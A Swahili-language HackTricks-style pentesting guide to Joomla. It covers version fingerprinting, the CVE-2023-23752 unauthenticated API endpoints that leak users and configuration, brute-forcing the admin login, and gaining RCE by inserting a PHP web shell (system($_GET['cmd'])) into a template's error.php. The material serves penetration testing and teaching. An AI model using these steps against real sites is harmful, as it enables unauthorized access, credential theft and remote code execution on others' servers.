hacktricks/network-services-pentesting/pentesting-web/joomla.md

# Joomla

<details>

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</details>

### Takwimu za Joomla

Joomla inakusanya baadhi ya [takwimu za matumizi](https://developer.joomla.org/about/stats.html) kama vile uchambuzi wa toleo la Joomla, PHP na database na mifumo ya uendeshaji wa seva inayotumiwa kwenye ufungaji wa Joomla. Data hii inaweza kuulizwa kupitia [API yao ya umma](https://developer.joomla.org/about/stats/api.html).
```bash
curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool

{
"data": {
"cms_version": {
"3.0": 0,
"3.1": 0,
"3.10": 6.33,
"3.2": 0.01,
"3.3": 0.02,
"3.4": 0.05,
"3.5": 12.24,
"3.6": 22.85,
"3.7": 7.99,
"3.8": 17.72,
"3.9": 27.24,
"4.0": 3.21,
"4.1": 1.53,
"4.2": 0.82,
"4.3": 0,
"5.0": 0
},
"total": 2951032
}
}
```
## Uthibitisho

### Kugundua/Kuweka Alama za Miguu

* Angalia **meta**
```bash
curl https://www.joomla.org/ | grep Joomla | grep generator

<meta name="generator" content="Joomla! - Open Source Content Management" />
```
* robots.txt
```
# If the Joomla site is installed within a folder
# eg www.example.com/joomla/ then the robots.txt file
# MUST be moved to the site root
# eg www.example.com/robots.txt
# AND the joomla folder name MUST be prefixed to all of the
# paths.
[...]
```
* README.txt
```
1- What is this?
* This is a Joomla! installation/upgrade package to version 3.x
* Joomla! Official site: https://www.joomla.org
* Joomla! 3.9 version history - https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history
* Detailed changes in the Changelog: https://github.com/joomla/joomla-cms/commits/staging
```
### Toleo

* Katika **/administrator/manifests/files/joomla.xml** unaweza kuona toleo.
* Katika **/language/en-GB/en-GB.xml** unaweza kupata toleo la Joomla.
* Katika **plugins/system/cache/cache.xml** unaweza kuona toleo la karibu.
```bash
droopescan scan joomla --url http://joomla-site.local/
```
### API Unauthenticated Information Disclosure:
Toleo kutoka 4.0.0 hadi 4.2.7 lina hatari ya kufichua habari bila kuthibitishwa (CVE-2023-23752) ambayo itadumpa creds na habari nyingine.

* Watumiaji: `http://<host>/api/v1/users?public=true`

* Faili ya Config: `http://<host>/api/index.php/v1/config/application?public=true`

**Moduli wa MSF**: `scanner/http/joomla_api_improper_access_checks` au skripti ya ruby: [51334](https://www.exploit-db.com/exploits/51334)

### Brute-Force
Unaweza kutumia [skripti hii](https://github.com/ajnik/joomla-bruteforce) kujaribu kufanya nguvu ya kuingia.
```shell-session
sudo python3 joomla-brute.py -u http://joomla-site.local/ -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin

admin:admin
```
## RCE

Ikiwa umefanikiwa kupata **mameneja wa admin**, unaweza **RCE ndani yake** kwa kuongeza kipande cha **mimbo ya PHP** ili kupata **RCE**. Tunaweza kufanya hivi kwa **kubinafsisha** **template**.

1. **Bonyeza** kwenye **`Templates`** chini kushoto chini ya `Configuration` ili kupata menyu ya templates.
2. **Bonyeza** kwenye jina la **template**. Tuchague **`protostar`** chini ya kichwa cha safu ya `Template`. Hii itatupeleka kwenye ukurasa wa **`Templates: Customise`**.
3. Hatimaye, unaweza bonyeza kwenye ukurasa ili kupata **chanzo cha ukurasa**. Tuchague ukurasa wa **`error.php`**. Tutaweka **PHP one-liner ili kupata utekelezaji wa kodi** kama ifuatavyo:
1. **`system($_GET['cmd']);`**
4. **Hifadhi & Funga**
5. `curl -s http://joomla-site.local/templates/protostar/error.php?cmd=id`